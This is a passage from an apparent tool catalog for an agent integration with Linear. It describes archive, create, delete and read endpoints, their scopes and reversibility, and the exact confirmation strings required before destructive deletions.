a roadmap. Needs the roadmap id from linear_list_roadmaps and the project id from linear_list_projects; sort_order is optional. Neither object is otherwise changed. Undo with linear_remove_project_from_roadmap. Prefer linear_add_project_to_initiative for new work - roadmaps are deprecated. POST /api/v1/tools/linear/roadmap-projects. Scopes: write. linear_add_team_membership (write) — Add a person to a Linear team. Needs a team id from linear_list_teams and a user id from linear_list_users. Linear rejects the call if the person is already a member, if the team is archived or retired, or if the connected account lacks permission to add members. Reversible with linear_remove_team_membership. There is no way to grant team ownership through this tool. POST /api/v1/tools/linear/team-memberships. Scopes: write. linear_archive_cycle (write, destructive) — DESTRUCTIVE — archive a cycle. It leaves the team's cycle list and its issues are no longer counted in sprint views; the issues themselves are untouched and keep existing. Linear publishes NO cycleUnarchive, so unlike every other archive Agentic Fabriq exposes, this one has no programmatic inverse: recovery needs a human in the Linear UI. Read the cycle with linear_get_cycle before calling. POST /api/v1/tools/linear/cycles/archive. Scopes: write. linear_archive_initiative (write, destructive) — DESTRUCTIVE — archive an initiative. It leaves every initiative view; the projects under it survive and stay on their own boards. Restored exactly by linear_unarchive_initiative, which is why this is the removal Agentic Fabriq exposes and initiativeDelete is not. POST /api/v1/tools/linear/initiatives/archive. Scopes: write. linear_archive_initiative_update (write, destructive) — Archive a Linear initiative status update: it leaves the initiative's visible history but its text, comments and reactions survive. REVERSIBLE - call linear_unarchive_initiative_update with the same id to put it back. Linear offers no way to delete an initiative update outright, so this is the only removal available. POST /api/v1/tools/linear/initiative-updates/archive. Scopes: write. linear_archive_issue (write, destructive) — DESTRUCTIVE — archive one Linear issue. It leaves every board, view and search result. REVERSIBLE: linear_unarchive_issue restores it, so you can undo this yourself. Confirm the issue with linear_get_issue first anyway, because both halves leave an audit row. Linear's trash and permanent delete are deliberately not available through Agentic Fabriq at all, and the trash flag on this same mutation is never sent. POST /api/v1/tools/linear/issues/archive. Scopes: write. linear_archive_notification (write) — Archive one Linear notification, removing it from the connected account's inbox. Needs a notification id from linear_list_notifications. Cheap and fully reversible: linear_unarchive_notification puts it back, and linear_list_notifications with include_archived=true still finds it. Nothing about the underlying issue or project changes. To archive every notification about one issue at once, use linear_archive_notifications_for_entity instead. POST /api/v1/tools/linear/notifications/archive. Scopes: write. linear_archive_notifications_for_entity (write) — Archive every Linear notification about ONE thing at once. Pass EXACTLY ONE of notification_id, issue_id, project_update_id, initiative_id or initiative_update_id - passing none or several is rejected. Note that even notification_id archives the whole group Linear considers related, not just that row; use linear_archive_notification for a single row. Only the connected account's inbox changes. There is no batch undo - linear_unarchive_notification restores one id at a time. POST /api/v1/tools/linear/notifications/archive-all. Scopes: write. linear_archive_project (write, destructive) — DESTRUCTIVE — archive a project. It leaves every project list and view; the issues inside it survive and keep their other fields. Restored exactly by linear_unarchive_project, which is why this is the removal Agentic Fabriq exposes and projectDelete is not. Linear marks this mutation deprecated in favour of the irreversible projectDelete; it is still public and still the reversible one, so it stays. POST /api/v1/tools/linear/projects/archive. Scopes: write. linear_archive_project_status (write, destructive) — DESTRUCTIVE — archive a workspace project status. Every project list loses that column and projects sitting in it must be reassigned. Restored exactly by linear_unarchive_project_status. POST /api/v1/tools/linear/project-statuses/archive. Scopes: write. linear_archive_project_update (write, destructive) — DESTRUCTIVE — archive a project status update so it no longer appears in the project's update history. The reversible removal: linear_unarchive_project_update puts it back. Deleting one outright is deliberately not exposed. POST /api/v1/tools/linear/project-updates/archive. Scopes: write. linear_archive_release (write, destructive) — DESTRUCTIVE BUT REVERSIBLE. Archive a Linear release so it leaves the pipeline's active list. Nothing attached to it is deleted. Undo with linear_unarchive_release using the same id. Use this instead of linear_delete_release, which trashes the release for eventual permanent deletion. To record that a release was cancelled rather than hide it, move it to a canceled stage with linear_update_release. POST /api/v1/tools/linear/releases/archive. Scopes: write. linear_archive_release_pipeline (write, destructive) — DESTRUCTIVE BUT REVERSIBLE. Archive a Linear release pipeline so it and its releases leave the active views. Nothing is deleted. Undo with linear_unarchive_release_pipeline using the same id. USE THIS, not linear_delete_release_pipeline, which trashes every release in the pipeline for permanent deletion and cannot be undone here. POST /api/v1/tools/linear/release-pipelines/archive. Scopes: write. linear_archive_release_stage (write, destructive) — DESTRUCTIVE BUT REVERSIBLE. Archive a Linear release stage. Undo with linear_unarchive_release_stage using the same id. Linear will refuse unless the stage is started-type, has no active releases, has a same-kind sibling, and is not the last non-frozen started stage - a refusal changes nothing, so a failed call is safe. There is no stage delete in Linear's API; this is the only way to remove one. POST /api/v1/tools/linear/release-stages/archive. Scopes: write. linear_archive_roadmap (write, destructive) — DESTRUCTIVE BUT REVERSIBLE. Archive a Linear roadmap so it leaves the roadmap list. The projects on it are not affected. Undo it with linear_unarchive_roadmap using the same id. Use this rather than linear_delete_roadmap, which is permanent and also removes every project-to-roadmap link. POST /api/v1/tools/linear/roadmaps/archive. Scopes: write. linear_archive_workflow_state (write, destructive) — DESTRUCTIVE — archive one of a team's board columns. Linear moves the issues sitting in it to another state, so this can change the state of many issues at once, and Linear publishes no workflowStateUnarchive to put the column back. Read the column's occupancy with linear_list_issues before calling. POST /api/v1/tools/linear/workflow-states/archive. Scopes: write. linear_batch_create_issues (write) — Create up to 25 issues on one team in a single call, each with its own title and optional description, assignee, state, priority, labels and due date. Purely additive — it only ever adds rows, and each one is individually archivable by linear_archive_issue. Agentic Fabriq caps the batch at 25 regardless of what Linear would accept, so one mistaken call cannot fill a board. Deliberately NOT the counterpart of issueBatchUpdate, which rewrites up to 50 existing issues from one filter and is not exposed at all. POST /api/v1/tools/linear/issues/batch. Scopes: issues:create. linear_batch_update_issues (write, destructive) — DESTRUCTIVE, NO PER-ISSUE UNDO. Apply one set of changes - state, assignee, project, cycle, priority, estimate, due date or the whole label set - to up to 50 issues you name explicitly by id. Requires confirm='rewrite-every-listed-issue' - that exact string; true, 'yes' and any other wording are refused. There is no filter argument by design: list the ids you got from linear_list_issues or linear_search_issues. label_ids REPLACES the labels on every issue in the list; use linear_add_issue_label to add one without disturbing the others. POST /api/v1/tools/linear/issues/batch-update. Scopes: write. linear_check_organization_exists (read) — Check whether a Linear workspace URL key (the segment in linear.app/) is already in use. Returns a boolean. Works for any key, not just this workspace's. GET /api/v1/tools/linear/organization-exists. Scopes: read. linear_complete_release (write, destructive) — DESTRUCTIVE, PARTLY IRREVERSIBLE. Mark a Linear release completed. ALWAYS PASS version - without it this completes whatever release is currently the latest started one, which may not be the one you read. The stage can be moved back with linear_update_release, but if the pipeline is scheduled with rollover enabled (the default) the release's open issues are MOVED to the next release and no record says which - check linear_get_release_pipeline first. Use linear_create_release_note to write notes. POST /api/v1/tools/linear/releases/complete. Scopes: write. linear_count_projects_in_status (read) — Count the projects in a Linear project status - total, private and archived-team counts. Call this BEFORE linear_reassign_project_status or linear_archive_project_status so you know how many projects those will move. Get status ids from linear_list_project_statuses. GET /api/v1/tools/linear/project-status/project-count. Scopes: read. linear_create_attachment (write) — Attach a link to a Linear issue with a title, optional subtitle, icon and comment. WARNING - THIS UPSERTS: calling it again with the same url on the same issue OVERWRITES the existing attachment instead of adding one, and you get no error. Check linear_list_attachments first if a link may already be there. http and https only. Use linear_link_url_to_issue instead when you want a plain link that never overwrites. POST /api/v1/tools/linear/attachments. Scopes: write. linear_create_comment (write) — Post a comment on one Linear issue. Linear notifies every subscriber of that issue and emails anyone the comment @mentions, so a comment can reach people who have never used Agentic Fabriq — treat the body as outbound communication, not as an internal note. POST /api/v1/tools/linear/comments. Scopes: comments:create. linear_create_custom_view (write) — Create a saved Linear view (custom view) over issues. Narrow it with filter_team_id, filter_assignee_id, filter_state_id and filter_project_id - flat ids from linear_list_teams, linear_list_users, linear_list_workflow_states and linear_list_projects. There is deliberately no filter object argument and there will not be one. shared=true makes the view visible to the whole workspace, so leave it unset unless a human asked for a shared view. A view scoped with project_id or initiative_id will not appear in linear_list_custom_views. POST /api/v1/tools/linear/custom-views. Scopes: write. linear_create_cycle (write) — Create a new cycle on a team, with a start and an end timestamp. Creating a cycle adds a sprint to the team's board; it moves no issues by itself. Removed by linear_archive_cycle. POST /api/v1/tools/linear/cycles. Scopes: write. linear_create_document (write) — Create a Linear document, optionally attached to a project, initiative, issue or team. Additive. Note the asymmetry Linear leaves here: the schema publishes documentUnarchive but NO documentArchive, so there is no reversible removal to pair with this — and documentDelete, the only removal there is, is deliberately not exposed. POST /api/v1/tools/linear/documents. Scopes: write. linear_create_emoji (write) — Create a workspace custom emoji from an image URL (http or https only). Linear downloads the image itself. The emoji is available to everyone in the workspace and the name must be unique. Deleting it later with linear_delete_emoji breaks every existing reaction that used it. POST /api/v1/tools/linear/emojis. Scopes: write. linear_create_favorite (write) — Add ONE thing to the connected Linear user's sidebar. Pass exactly one of issue_id, project_id, document_id, cycle_id, custom_view_id, label_id, project_label_id, team_id or user_id - passing zero or two is rejected before any call is made, and the error lists the alternatives. The bookmark is private to the connected account; favoriting a colleague does not touch their sidebar. Repeating the same call is safe: Linear returns the existing favorite rather than making a second one. POST /api/v1/tools/linear/favorites. Scopes: write. linear_create_initiative (write) — Create an initiative. Additive: an empty container above projects, archived reversibly by linear_archive_initiative. POST /api/v1/tools/linear/initiatives. Scopes: write. linear_create_initiative_label (write) — Create a Linear initiative label. It is workspace-level and visible to everyone - there is no team scoping - so check linear_list_initiative_labels first rather than creating a near duplicate. is_group=true makes a group header instead of an applicable label; parent_id nests it under an existing group. Note these are a separate taxonomy from issue and project labels. POST /api/v1/tools/linear/initiative-labels. Scopes: write. linear_create_initiative_relation (write) — Nest one Linear initiative under another. parent_initiative_id is the one ABOVE and child_initiative_id is the one BELOW - transposing them builds the hierarchy upside down and nothing will warn you. There is no relation type for initiatives, unlike linear_create_issue_relation: parent-child is the only relation they have. Linear rejects cycles and over-deep nesting. Undone by linear_delete_initiative_relation. POST /api/v1/tools/linear/initiative-relations. Scopes: write. linear_create_initiative_update (write) — Post a written status update on an initiative with a health rating of onTrack, atRisk or offTrack. TREAT THIS AS OUTBOUND COMMUNICATION: Linear notifies every subscriber and cross-posts to Slack where that integration is configured, and an initiative's audience is normally the widest in the workspace. Requires 'comments:create' for that reason. POST /api/v1/tools/linear/initiative-updates. Scopes: comments:create. linear_create_issue (write) — Create one Linear issue on a team. team_id is required and is a UUID — call linear_list_teams first, it cannot be derived from the team's key. The issue appears on the team's board immediately and Linear notifies the assignee. Every value is sent as a bound GraphQL variable, so the title and description can contain anything. POST /api/v1/tools/linear/issues. Scopes: issues:create. linear_create_issue_label (write) — Create a new issue label, either on one team or workspace-wide when team_id is omitted. This adds to the workspace's own taxonomy and outlives the agent run that created it; retire it with linear_retire_issue_label, which is reversible. POST /api/v1/tools/linear/issue-labels. Scopes: write. linear_create_issue_relation (write) — Create a link between two issues: 'blocks', 'related', 'duplicate' or 'similar'. This is how an agent records that a bug blocks a release or that two reports are the same thing. It creates a pointer and changes neither issue's content, and linear_delete_issue_relation undoes it exactly. POST /api/v1/tools/linear/issue-relations. Scopes: write. linear_create_notification_subscription (write) — Subscribe the connected Linear account to one entity's notifications. Pass EXACTLY ONE of team_id, project_id, cycle_id, label_id, initiative_id or user_id. user_id means FOLLOW that person - it only ever changes your own inbox, never theirs. Optionally pass notification_subscription_types; Linear publishes no closed list of values, so copy them from an existing subscription via linear_list_notification_subscriptions. To stop notifications later, prefer setting active=false over deleting. POST /api/v1/tools/linear/notification-subscriptions. Scopes: write. linear_create_project (write) — Create a project owned by one or more teams. A project is a container for issues, so creating one is additive and cheap; archiving it later is reversible with linear_unarchive_project. Get team ids from linear_list_teams, a status id from linear_list_project_statuses and label ids from linear_list_project_labels. POST /api/v1/tools/linear/projects. Scopes: write. linear_create_project_label (write) — Create a project label. Workspace-level taxonomy that outlives the agent run; retire it with linear_retire_project_label, which is reversible. POST /api/v1/tools/linear/project-labels. Scopes: write. linear_create_project_milestone (write) — Create a milestone inside a project. Additive: it adds a checkpoint issues can be attached to and changes no existing issue. POST /api/v1/tools/linear/project-milestones. Scopes: write. linear_create_project_relation (write) — Create a dependency between two projects, optionally anchored to a specific milestone on either side. Creates a pointer and changes neither project's content; undone by linear_delete_project_relation. POST /api/v1/tools/linear/project-relations. Scopes: write. linear_create_project_status (write) — Add a project status to the workspace. Workspace-level configuration: every project list in the workspace gains the new column. Removed reversibly by linear_archive_project_status. POST /api/v1/tools/linear/project-statuses. Scopes: write. linear_create_project_update (write) — Post a written status update on a project with a health rating of onTrack, atRisk or offTrack. TREAT THIS AS OUTBOUND COMMUNICATION: Linear notifies every subscriber of the project, and where the Slack integration is configured it cross-posts the body to the project's channel, so the audience is wider than a comment on one issue. It requires 'comments:create' rather than 'write' for exactly that reason — it is the same class of act as linear_create_comment. POST /api/v1/tools/linear/project-updates. Scopes: comments:create. linear_create_reaction (write) — Add an emoji reaction to an issue or a comment. Bounded and reversible by linear_delete_reaction. Shares the 'comments:create' scope with commenting because it is the same class of act — an agent leaving a visible mark on someone else's thread — at a fraction of the noise. POST /api/v1/tools/linear/reactions. Scopes: comments:create. linear_create_release (write) — Create a Linear release in a pipeline. name and pipeline_id are required; version, description, commit_sha, stage_id, start_date and target_date are optional. WATCH THE DEFAULT STAGE: omitting stage_id puts the release in the first completed stage for a continuous pipeline and the first started stage for a scheduled one - read linear_get_release_pipeline for the type. Set version if you will later call linear_complete_release, which matches on it. POST /api/v1/tools/linear/releases. Scopes: write. linear_create_release_note (write) — Create a Linear release note. Supply the pipeline id and EXACTLY ONE coverage shape: either release_ids, or both range_from_release_id and range_to_release_id. A range covers every release created between the two, not just those two. content is markdown and is optional - leave it out on a pipeline that generates notes automatically. Removal is linear_delete_release_note and it is permanent, so this is the cheap direction. POST /api/v1/tools/linear/release-notes. Scopes: write. linear_create_release_pipeline (write) — Create a Linear release pipeline. Only name is required. type is 'continuous' (a completed release per sync) or 'scheduled' (issues accumulate into one release you complete). Default stages are created for you. Set rollover_issues_on_completion=false if you do NOT want completing a release to move its open issues onto the next one - Linear defaults that to true and it cannot be undone per release. Reverse with linear_archive_release_pipeline. POST /api/v1/tools/linear/release-pipelines. Scopes: write. linear_create_release_stage (write) — Create a Linear release stage in a pipeline. Requires name, pipeline_id, stage_type (planned, started, completed or canceled), color as hex and position. IN PRACTICE ONLY started IS USEFUL - the other three already exist on every pipeline and are unique by type, and asking for a duplicate silently returns the EXISTING stage with success=true rather than erroring, so check the id you get back. Remove a stage with linear_archive_release_stage; there is no delete. POST /api/v1/tools/linear/release-stages. Scopes: write. linear_create_roadmap (write) — Create a Linear roadmap. PREFER linear_create_initiative - Linear has deprecated roadmaps and this mutation is marked deprecated in the schema. Only use this when the user explicitly asks for a roadmap or is working inside existing roadmaps. name is required; description, colour, owner_id and sort_order are optional. Add projects to it afterwards with linear_add_project_to_roadmap. POST /api/v1/tools/linear/roadmaps. Scopes: write. linear_create_team (write) — Create a Linear team. Only name is required. The fastest way to get sensible settings is copy_settings_from_team_id pointing at an existing team from linear_list_teams - most of Linear's team configuration is NOT exposed as arguments here and can only be inherited that way. If key is omitted Linear derives it from the name. The connected account becomes an owner of the new team. Use linear_update_team to change settings afterwards. POST /api/v1/tools/linear/teams. Scopes: write. linear_create_template (write) — Create a Linear ISSUE template with pre-filled fields. template_type must be 'issue' - project, document and releaseNote templates are refused with an error, because their contents have no documented shape. Omit team_id to make the template global to the workspace. Ids come from linear_list_workflow_states, linear_list_users, linear_list_issue_labels, linear_list_projects and linear_list_cycles. POST /api/v1/tools/linear/templates. Scopes: write. linear_create_view_preferences (write, destructive) — Store display preferences for a Linear view. preferences and insights are opaque JSON objects - Linear publishes no schema, so copy the shape from an existing view rather than inventing keys. preferences_type must be user or organization; ORGANIZATION writes the workspace-wide default every member sees, so do not use it without a human asking. Linear silently REPLACES any existing preferences for the same view type and scope, and does not return what it replaced. No issue or project is changed. POST /api/v1/tools/linear/view-preferences. Scopes: write. linear_create_workflow_state (write) — Add a column to a team's board — a new workflow state of type triage, backlog, unstarted, started, completed or canceled. This is team configuration rather than work: it changes the board every member of that team looks at. Removed by linear_archive_workflow_state. POST /api/v1/tools/linear/workflow-states. Scopes: write. linear_custom_view_has_subscribers (read) — Check whether a saved Linear view has notification subscribers besides you. Call this BEFORE linear_delete_custom_view or before setting shared=false with linear_update_custom_view: a true here means colleagues lose something they are actively watching, and an agent should stop and ask a human. Returns one boolean and no names. GET /api/v1/tools/linear/custom-views/has-subscribers. Scopes: read. linear_delete_attachment (write, destructive) — DESTRUCTIVE — remove a link from an issue. It destroys the attachment row, not the thing it points at: the pull request, dashboard or ticket is untouched, and the link is re-created by linear_link_url_to_issue with the same URL. Loss is bounded to one attachment's title and subtitle. POST /api/v1/tools/linear/attachments/delete. Scopes: write. linear_delete_comment (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO ANYWHERE. Delete a Linear comment. Requires confirm='delete-comment-permanently' - that exact string; true, 'yes' and any other wording are refused. Linear publishes no un-delete for comments, in the API or the UI, so this cannot be recovered by anybody. Linear does not restrict this to the comment's author, so it may delete somebody else's words. Use linear_update_comment to correct a comment, or linear_resolve_comment to close a thread. POST /api/v1/tools/linear/comments/delete. Scopes: write. linear_delete_custom_view (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a saved custom view. Requires confirm='delete-custom-view-permanently' - that exact string; true, 'yes' and any other wording are refused. No issues are affected, but the filter definition is gone, and for a shared view it disappears for every colleague. Call linear_get_custom_view first to keep a copy of the definition. POST /api/v1/tools/linear/custom-views/delete. Scopes: write. linear_delete_document (write, destructive) — DESTRUCTIVE. Move a Linear document and its body to the trash. Requires confirm='delete-document-permanently' - that exact string; true, 'yes' and any other wording are refused. REVERSIBLE while Linear's retention period lasts: call linear_unarchive_document with the same id to restore it. Linear publishes no document archive, so this is the only way to remove a document and there is no safer alternative to prefer. POST /api/v1/tools/linear/documents/delete. Scopes: write. linear_delete_emoji (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a workspace custom emoji. Requires confirm='delete-emoji-and-break-existing-reactions' - that exact string; true, 'yes' and any other wording are refused. Every reaction and comment that used it stops rendering for everyone in the workspace, and re-uploading the image with linear_create_emoji creates a new id rather than repairing them. POST /api/v1/tools/linear/emojis/delete. Scopes: write. linear_delete_favorite (write, destructive) — Remove one bookmark from the connected Linear user's sidebar. The bookmarked issue, project or document is NOT deleted or changed - only the sidebar entry. Takes the FAVORITE's own id from linear_list_favorites. Re-created by linear_create_favorite with the same target. Linear reports success even if the favorite did not exist, so do not treat success as proof it was there. POST /api/v1/tools/linear/favorites/delete. Scopes: write. linear_delete_initiative (write, destructive) — DESTRUCTIVE. Move a Linear initiative to the trash, taking its update history and its project links with it; the projects themselves survive. Requires confirm='delete-initiative-permanently' - that exact string; true, 'yes' and any other wording are refused. Linear does not document whether linear_unarchive_initiative restores a TRASHED initiative - it documents that for projects and documents and not for this - so treat this as unrecoverable from Agentic Fabriq. Prefer linear_archive_initiative, which linear_unarchive_initiative definitely reverses. POST /api/v1/tools/linear/initiatives/delete. Scopes: write. linear_delete_initiative_label (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete an initiative label, removing it from every initiative that carries it. Requires confirm='delete-initiative-label-from-every-initiative' - that exact string; true, 'yes' and any other wording are refused. Prefer linear_retire_initiative_label, which is reversible with linear_restore_initiative_label. POST /api/v1/tools/linear/initiative-labels/delete. Scopes: write. linear_delete_initiative_relation (write, destructive) — DESTRUCTIVE. Remove one parent-child link between Linear initiatives. Neither initiative is deleted - only the link. Takes the relation id from linear_list_initiative_relations, NOT an initiative id. Re-created by linear_create_initiative_relation with the same two endpoints; call linear_get_initiative_relation first to record them and the sort order, which a re-create does not restore. POST /api/v1/tools/linear/initiative-relations/delete. Scopes: write. linear_delete_issue (write, destructive) — DESTRUCTIVE, NO UNDO FROM AGENTIC FABRIQ. Move a Linear issue to the trash together with its description, comments, history and attachments. Requires confirm='delete-issue-permanently' - that exact string; true, 'yes' and any other wording are refused. Nothing in this toolset restores a trashed issue - linear_unarchive_issue does not reach one - so a human has to recover it from Linear's trash in the UI before Linear's grace period expires. Prefer linear_archive_issue, which removes the issue from every board and IS reversible with linear_unarchive_issue. POST /api/v1/tools/linear/issues/delete. Scopes: write. linear_delete_issue_label (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete an issue label, removing it from every issue that carries it. Requires confirm='delete-issue-label-from-every-issue' - that exact string; true, 'yes' and any other wording are refused. Re-creating the label afterwards does NOT restore the classification - it makes an empty label with a new id. Prefer linear_retire_issue_label, which is reversible with linear_restore_issue_label. POST /api/v1/tools/linear/issue-labels/delete. Scopes: write. linear_delete_issue_relation (write, destructive) — DESTRUCTIVE — remove a link between two issues. It destroys a pointer, not an issue: both issues survive untouched and the link is re-created by calling linear_create_issue_relation with the same two ids and type. Marked destructive because it is the delete half of the pair, not because the loss is unbounded. POST /api/v1/tools/linear/issue-relations/delete. Scopes: write. linear_delete_notification_subscription (write, destructive) — DESTRUCTIVE and DEPRECATED BY LINEAR. Delete a notification subscription. Linear's own deprecation notice says to call linear_update_notification_subscription with active=false instead - do that unless a human explicitly asked for the row to be removed. Only the connected account's notifications change. linear_create_notification_subscription re-creates it from the same target, but the configured type list is lost, so read it with linear_get_notification_subscription first. POST /api/v1/tools/linear/notification-subscriptions/delete. Scopes: write. linear_delete_project (write, destructive) — DESTRUCTIVE. Move a Linear project to the trash. Requires confirm='delete-project-permanently' - that exact string; true, 'yes' and any other wording are refused. The project's issues survive but leave its board, and the project's content, milestones and status updates go with it. REVERSIBLE while Linear's retention period lasts: call linear_unarchive_project with the same id to restore it. Prefer linear_archive_project when the project is simply finished. POST /api/v1/tools/linear/projects/delete. Scopes: write. linear_delete_project_label (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a project label, removing it from every project that carries it. Requires confirm='delete-project-label-from-every-project' - that exact string; true, 'yes' and any other wording are refused. Prefer linear_retire_project_label, which is reversible with linear_restore_project_label. POST /api/v1/tools/linear/project-labels/delete. Scopes: write. linear_delete_project_milestone (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a project milestone. Requires confirm='delete-milestone-and-detach-its-issues' - that exact string; true, 'yes' and any other wording are refused. The issues on it survive and stay in the project but lose the milestone, and that grouping cannot be rebuilt. Linear publishes no milestone archive, so there is no safer alternative; use linear_move_project_milestone to move it to another project instead of deleting it. POST /api/v1/tools/linear/project-milestones/delete. Scopes: write. linear_delete_project_relation (write, destructive) — DESTRUCTIVE — remove a dependency between two projects. Destroys a pointer, not a project; re-created by linear_create_project_relation with the same arguments. POST /api/v1/tools/linear/project-relations/delete. Scopes: write. linear_delete_project_update (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a project status update and its text. Requires confirm='delete-project-update-permanently' - that exact string; true, 'yes' and any other wording are refused. Prefer linear_archive_project_update, which is reversible with linear_unarchive_project_update, or linear_update_project_update to correct what it says. POST /api/v1/tools/linear/project-updates/delete. Scopes: write. linear_delete_reaction (write, destructive) — DESTRUCTIVE — remove an emoji reaction. The delete half of the reaction pair; re-created by linear_create_reaction with the same emoji. Loss is one reaction. POST /api/v1/tools/linear/reactions/delete. Scopes: write. linear_delete_release (write, destructive) — DESTRUCTIVE. Move a release, its notes and its issue links to Linear's trash; they are destroyed after Linear's retention period. Requires confirm='delete-release-permanently' - that exact string; true, 'yes' and any other wording are refused. linear_unarchive_release probably restores it during that window - Linear documents this for projects and documents but not for releases - so treat recovery as uncertain. Prefer linear_archive_release for a release that is merely finished. POST /api/v1/tools/linear/releases/delete. Scopes: write. linear_delete_release_note (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO ANYWHERE. Delete a Linear release note and its whole body. Requires confirm to be exactly 'delete-release-note-permanently'. Linear has no archive or trash for release notes, so nobody can restore it - call linear_get_release_note first to keep the text. Prefer linear_update_release_note to correct a note. The releases it covered are not affected. POST /api/v1/tools/linear/release-notes/delete. Scopes: write. linear_delete_release_pipeline (write, destructive) — DESTRUCTIVE - TRASHES THE PIPELINE AND EVERY RELEASE IN IT for permanent deletion after Linear's retention period. Requires confirm to be exactly 'delete-release-pipeline-and-all-its-releases'. Check linear_get_release_pipeline for the release count first - that is what you are destroying. There is no documented undo; linear_unarchive_release_pipeline only un-archives. An already archived pipeline is trashed rather than skipped. Use linear_archive_release_pipeline instead unless a human explicitly asked for permanent deletion. POST /api/v1/tools/linear/release-pipelines/delete. Scopes: write. linear_delete_roadmap (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a roadmap and its project links. Requires confirm='delete-roadmap-and-its-project-links' - that exact string; true, 'yes' and any other wording are refused. The projects themselves are not deleted. Prefer linear_archive_roadmap, which is reversible with linear_unarchive_roadmap. POST /api/v1/tools/linear/roadmaps/delete. Scopes: write. linear_delete_team (write, destructive) — DESTRUCTIVE - DELETES AN ENTIRE TEAM. One call archives the team and schedules for deletion every issue it owns, every cycle, every workflow state, every team label and all of its history. Requires confirm='delete-team-and-all-its-issues' - that exact string; true, 'yes' and any other wording are refused. It can be undone with linear_unarchive_team, which cancels the scheduled deletion - but only until that deletion runs, and Linear does not publish how long that is. After that nothing recovers it, in this toolset or in Linear's UI. Do not call this to tidy up an unused team without a human saying so first. POST /api/v1/tools/linear/teams/delete. Scopes: write. linear_delete_team_cycles (write, destructive) — DESTRUCTIVE AND PERMANENT - DELETES EVERY CYCLE ON A TEAM. One call removes all of the team's cycles, all issue-to-cycle associations and disables cycles for that team. Requires confirm='delete-all-cycles-for-this-team' - that exact string; true, 'yes' and any other wording are refused. There is NO undo, in this toolset or in Linear's UI: Linear publishes no cycle un-archive at all, and re-enabling cycles creates new empty ones. The issues are not deleted, but which sprint each was in is gone for good. Do not call this without a human explicitly asking for it. POST /api/v1/tools/linear/teams/cycles/delete. Scopes: write. linear_delete_team_key (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a team's previously used key. Requires confirm='delete-team-key-and-break-old-links' - that exact string; true, 'yes' and any other wording are refused. Old issue identifiers built from that key (OLD-123) stop resolving everywhere they were ever pasted - commits, Slack, documents - and none of that can be repaired. Linear will refuse if you name the team's ACTIVE key. POST /api/v1/tools/linear/team-keys/delete. Scopes: write. linear_delete_template (write, destructive) — DESTRUCTIVE AND PERMANENT, NO UNDO. Delete a Linear template. Requires confirm='delete-template-permanently' - that exact string; true, 'yes' and any other wording are refused. Issues and projects already created from it are unaffected. linear_create_template can only rebuild ISSUE templates, so a deleted project or document template cannot be re-created with these tools at all - read it with linear_get_template first. POST /api/v1/tools/linear/templates/delete. Scopes: write. linear_delete_view_preferences (write, destructive) — Delete a stored Linear view-preferences object, resetting that view to its default layout. No issues, projects or documents are affected. If the object was organization-type the reset is visible to the entire workspace, and the id alone does not tell you which it is - read the view with linear_get_custom_view first. Linear reports success even when nothing existed. POST /api/v1/tools/linear/view-preferences/delete. Scopes: write. linear_disable_issue_external_sync (write) — Break the sync between a Linear issue and an external tool. Takes the sync ATTACHMENT id from linear_list_attachments on that issue, not the issue id. Nothing is deleted and the issue is unaffected, but there is NO enable counterpart - you cannot turn the sync back on, a human has to do that in Linear or in the other tool. Ask before calling it. POST /api/v1/tools/linear/issues/external-sync-disable. Scopes: write. linear_disable_project_external_sync (write) — Stop a Linear project syncing with github, jira or slack. Nothing is deleted and the project is unaffected. There is NO enable counterpart - you cannot turn the sync back on, a human has to do it in Linear or in the other tool, so ask before calling this. POST /api/v1/tools/linear/projects/external-sync-disable. Scopes: write. linear_fetch_data (write) — Fetch Linear data using a natural-language description instead of a specific tool. Be explicit about the entity, the properties you want, the sort order and the limit - Linear turns your sentence into a GraphQL query and returns whatever that query returned, plus the query itself so you can see what it understood. Reaches only what this connection can already read. Prefer the specific tools (linear_list_issues, linear_get_project, ...) when one fits: they are cheaper, their output shape is stable, and this endpoint is marked internal by Linear and may change. POST /api/v1/tools/linear/fetch-data. Scopes: read. linear_find_attachments_for_url (read) — Find all Linear issue attachments pointing at a URL. Use it to see which issues reference a pull request or a document, and to check whether a link is already attached before calling linear_create_attachment, which OVERWRITES on a duplicate url. Exact string match - a trailing slash counts as a different URL. Paginate with cursor. GET /api/v1/tools/linear/attachments/for-url. Scopes: read. linear_find_issue_by_branch (read) — Find the Linear issue behind a git branch name. Pass the branch exactly as it appears in the repository (e.g. alice/eng-123-fix-export-timeout). Returns the issue, or NULL if no issue matches - null is a normal answer here, not an error. Use this before commenting on or updating the issue a pull request belongs to. GET /api/v1/tools/linear/issues/vcs-branch. Scopes: read. linear_find_issues_by_figma_file (read) — List Linear issues attached to a Figma file. Pass the file KEY - the segment after /file/ in a Figma URL - not the whole URL. Returns an empty page rather than an error when nothing links to that file. Paginate with cursor. GET /api/v1/tools/linear/issues/figma. Scopes: read. linear_get_application_info (read) — Read the public details (name, description, icon, developer) of a Linear OAuth application from its client id. Returns nothing secret. Use it to explain what application a client id in a log or an audit record refers to. GET /api/v1/tools/linear/application-info. Scopes: read. linear_get_attachment (read) — Read one attachment by id, with its URL, source type and the metadata the source integration stored on it. GET /api/v1/tools/linear/attachment. Scopes: read. linear_get_attachment_issue (read) — Find the Linear issue an attachment belongs to, from the attachment id. Get attachment ids from linear_list_attachments or linear_find_attachments_for_url. Call this before linear_disable_issue_external_sync so you know which issue you are changing. GET /api/v1/tools/linear/attachments/issue. Scopes: read. linear_get_comment (read) — Read one comment by id, including whether it has been edited or resolved and who resolved it. Comment bodies frequently carry more sensitive detail than the issue they hang off. GET /api/v1/tools/linear/comment. Scopes: read. linear_get_custom_view (read) — Read one saved Linear view including its filter definition. Takes a custom view UUID from linear_list_custom_views, or the slug id out of the view's URL. This is the only read that reaches a view scoped to a project or initiative. Call it before linear_delete_custom_view to keep a copy of the filter that the delete destroys. GET /api/v1/tools/linear/custom-views/get. Scopes: read. 